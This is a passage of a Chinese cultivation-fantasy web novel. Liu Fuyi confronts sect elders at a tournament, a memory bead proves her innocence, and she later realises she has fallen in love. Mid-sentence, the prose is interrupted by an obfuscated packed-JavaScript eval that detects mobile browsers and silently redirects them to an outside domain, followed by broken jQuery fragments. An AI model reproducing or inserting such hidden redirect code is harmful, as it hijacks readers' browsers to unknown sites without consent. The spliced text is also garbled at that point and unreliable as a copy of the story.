高望飞噤声不言,左右对了一眼,德高望重的前辈们便默契地各退一步,他们广袖一挥,水泄不通的包围圈便直接散出一条大道来。
胜券在握不紧不慢的声音慢慢飘进几人耳朵里。
“还不到时候,你难道怕没机会跟她算总账吗?”
“从没有一个小辈像她这样的,目无尊长实在可恶。”
“算了算了,不是已经有弟子闯到第七关了吗?很快就会有人进入第十关的。”
林秋池捋着胡子沉默不语,眼神钉在柳伏意侧脸。全灵剑派谁不知道清律长老是最好脾气的,平日里虽然总板着脸,但无伤大雅的请求她基本都会准,甚至哪怕谁冒犯了她,一句抱歉就能将这冷美人哄好。
前辈们的话不大不小,像是故意说出来恶心柳伏意的。意思也明晃晃的直白得很,你看,你师父都要帮我们算计你,你做人得有多失败?
一时之间灵剑派的各位天骄都默认柳长老必定会选择大事化小顾全大局,这搅乱宗门大比的插曲也就到这儿结束了。
但柳伏意偏不,她头一昂,顶着林秋池严厉的眼刀就站上前来。一字一句,不留情面:“各位要是想清算,何必非要等到第十关?总归宗门大比是弟子们的活动,也不关各位前辈的事。这几天听你们等来等去我也烦了,不如诸位移步清净峰吧?”
她把剑抱在怀里,低眉扫视一圈,怒意浅浅,气定神闲:“要斗,就斗个你死我活,不死不休。”
这是名门正派说出来的话吗?
沈听寒悄悄拉了一把她的袖子,但柳伏意仍然没有退缩的意思。林秋池终于沉沉地叹了口气,似乎颇为不满她在这时候站出来逞英雄。
林秋池快步上前一步扯住她胳膊,压着音调呵斥道:“伏意!冷静些。你修无情道四年了,连处变不惊都没学会吗?!”
眼看伏意不为所动,林秋池竟是软了脾性,语调缓了缓:“是师父不好,你先不要意气用事。”
玄易和顾元香自觉尴尬,默默往后退了几步。他们一旦退为旁观者的立场,有些事就看的格外明晰。
柳伏意望向林秋池,一言不发,只是眸中怒色未消,硬气得很。
“各位前辈,冒犯了。”
顾元香蹲在旁边围观,总觉得柳伏意如今有种众叛亲离的赶脚……究竟哪儿不对了?不就是杀了姜美娘吗?又不是没有证据……
对啊,证据?!她有啊!灵剑派算计这算计那的不帮柳伏意澄清,不代表她不能帮忙啊。
她一拍脑袋,撒丫子跑到柳伏意和林秋池中间,速度快的玄易都未曾反应过来。
只听见一阵银饰叮铃当啷的动静,她在随身小挎包里掏出个记忆珠来。
“嗨呀别吵别吵,大家都不是什么不讲理的人~清律长老身为戒律堂主事长老,必定是要惩奸除恶的。大家唯一挂怀的不就是姜美娘究竟是正是邪吗?”她露出一口白牙嘿嘿一笑,“我有证据呀!”
凌浅越本来喝着庆钰的美酒别提多悠闲了,眼见顾元香把记忆珠掏了出来,“噗”地一口把酒喷成水雾,着急忙慌地从凌霄殿屋顶上飞身而下。
凌浅越“住手”还未喊出口,记忆珠的画面已经铺天盖地地放出来了。
屋顶上观望的张风华庆钰也大概能猜出顾元香好心坏了事,看着凌浅越阻止无能的背影,默默把嘴里的烤鸡吞了进去。
张风华含糊不清道:“师父还想用名声牵制一下小五呢,你看她那个性子,倔驴一样,视名声如浮云。”
庆钰点点头,一样的隔岸观火:“无所谓,等过了宗门大比,她想怎么随性都可以。”
凌浅越反正已经无力阻止事态发展,重新坐到二人身边看热闹。
“哎,毁了,全毁了。”
顾元香抱臂,心满意足地环视一圈,无人不被她放出的重磅证据惊住。
“那是混元剑法?”高望飞捏着剑柄一滴冷汗从额角落下来。
林秋池也是第一次看见柳伏意对战九命的记录,每招每式潇洒畅快,丝毫不拖泥带水,盛然的灵力冲天震地,足以叫在场所有的前辈闭嘴。
十二派的前辈们看完,想起柳伏意先前那句移步清净峰的话来,背后冷汗直冒。
这么乌泱泱一堆人,单打独斗能胜过她的,又有几个呢?
记忆珠中的一切未经处理,为还原事情真相,一个不小心就把横山尊者的风评给拉了下来。
他在人群中明显感觉到四面八方的目光在朝自己汇聚,无奈咬了咬牙转身回到一片狼藉的凌霄殿里。老牛食草似的,一块一块儿不嫌辛苦地搬运碎石。
林秋池见了暗叹一口气,感慨一声不中用了,一挥衣袍,袖中攒了许久的罪证就哗啦啦落了满地。
“诸位道友,横山没有说假话,灵剑派这些年确实一直有搜集姜美娘的罪证,也暗中解救了一些被她压迫的百姓。证据如下,诸位可以拿走细查。”
眼看正是为柳伏意平反的绝好时机,沈听寒迅速把忍冬和春喜也请了出来,两位姑娘添油加醋地把这些年在合欢宗的见闻所感一股脑倒出来,衬得这些天抹黑柳伏意的传言可笑至极。
毕竟只要她方想要澄清,的确到处都是证据。否则乔宁也不会铁了心跟她站在同一边了。
林秋池此举突兀,柳伏意拾起地上一张罪证来细查,墨迹早已干涸,连信纸都是横跨好几年的制式,收集起来并不容易。
这些证据定然是他早已准备好的。
乔宁这些天始终第一个发声力挺柳伏意,现下别提多么志得意满,笑容不免更大了些:“我就说清律长老声名在外,怎么会是滥杀无辜之人呢~”
“哈哈哈……是啊是啊。”
“英雄出少年啊,灵剑派当真有福气!”
……
吹捧之声不绝于耳,柳伏意对上林秋池作古正经的眼神,暗暗泄了口气,轻声道:“师父,我回清净峰去了。”
林秋池虽是不悦,但好在伏意看上去知错能改,也就没有多说,只点了点头同意了。
她转身离开,林秋池便招呼着众人去侧殿休息,掌门长老之类的散了,各派的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027700|178619||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弟子自然也散开各忙各事。
元香一擤鼻子,沾沾自喜自己不动兵刃就化解了一场险些爆发的危机,随手将记忆珠送到沈听寒手里。
“嗨,我就说,哪儿有我办不到的事!好啦,姑奶奶我要去第六关闯闯看了。”她一面抬步,一面没忘回头冲玄易做了个鬼脸。
眼看着人都散了,玄易便和沈听寒阮长风一道,寻了个犄角旮旯的地方窝着,捡了块小观影石来看热闹。
沈听寒在灵剑派待久了,也并非不了解林秋池的个性。他扫了阮长风一眼,试探道:“看样子,掌门也没想真的给伏意苦果吃啊。”
阮长风也不瞒他,更不在乎玄易就在边上听着,朗声一笑道:“不仅如此,我觉得更像是试探她是否能当大任吧。你死乞白赖地非要住到清净峰去,伏意还不置一词,这在我师父眼里伏意已经越界了。”
玄易恍然大悟:“噢,怪不得你硬要把我塞进宗门大比,原来是灵剑派醋王啊。”
沈听寒望着他抿了抿唇,毕竟理亏不好反驳,而后听得阮长风说:“此事和伏意关系不大,实在是我师父自己的问题。”
他来灵剑派的时机最早,跟着林秋池的时间也最长,毫无疑问算得上是比林夕照都要了解林秋迟的人。
阮长风话锋一转,他说:“灵剑派在大约四十多年前,有一次灭门危机,当时我师父几乎到了道毁人亡的绝境。我猜他会如此严苛地对待伏意,也是因为那是他反复了几十年的噩梦,他不敢再叫同样的事再发生一遍。”
阮长风说的模糊,玄易仔细在脑中理了理思路,照样跟不上。他无奈地叹气,转头看向面色沉重的二人:“请问,能不能给我补补课呢?”
*
一切好似回归正轨,明月依稀,夜风和煦。柳伏意哪里是去什么清净峰,如今清净峰还住着妙音阁和锦绣坊的弟子,哪怕在自己的地盘都觉得一直被人暗戳戳地盯着。
不如拥雪崖,鸟不拉屎的,山路还难行,连本门派人都懒得过来。
整个灵剑派因为宗门大比到处都吵闹,搅得她心绪不宁,烦闷燥火。
拥雪崖却是烟岚云岫,鸦默雀静。她平息怒意,安然坐在崖边打坐,细细去想她这段时间的所思所行。
自从她背地里接触了无情道戒律所不容的习惯后,贪心一点一点增长。不准嗜甜,不准穿着鲜艳,不准动情等等都被她抛到九霄云外。
她到底是什么时候讨厌林秋池管束太多不够自由的?
清风渐起,相思树的花瓣悠然划过她眼前。
柳伏意恍然想起那天夜里,沈听寒浑身是血,气息奄奄。
也是那天起,鬼使神差的,她第一次滥用职权留他住在清净峰,只想让他安心。
——是我违背了大道规训。
——是我怕他不能静心养伤。
——为什么啊。
柳伏意扶着自己心口的位置,胸膛之下,有什么狠狠撞着她掌心。
更阑人静,月白风清,有人后知后觉。
“我……动心了?”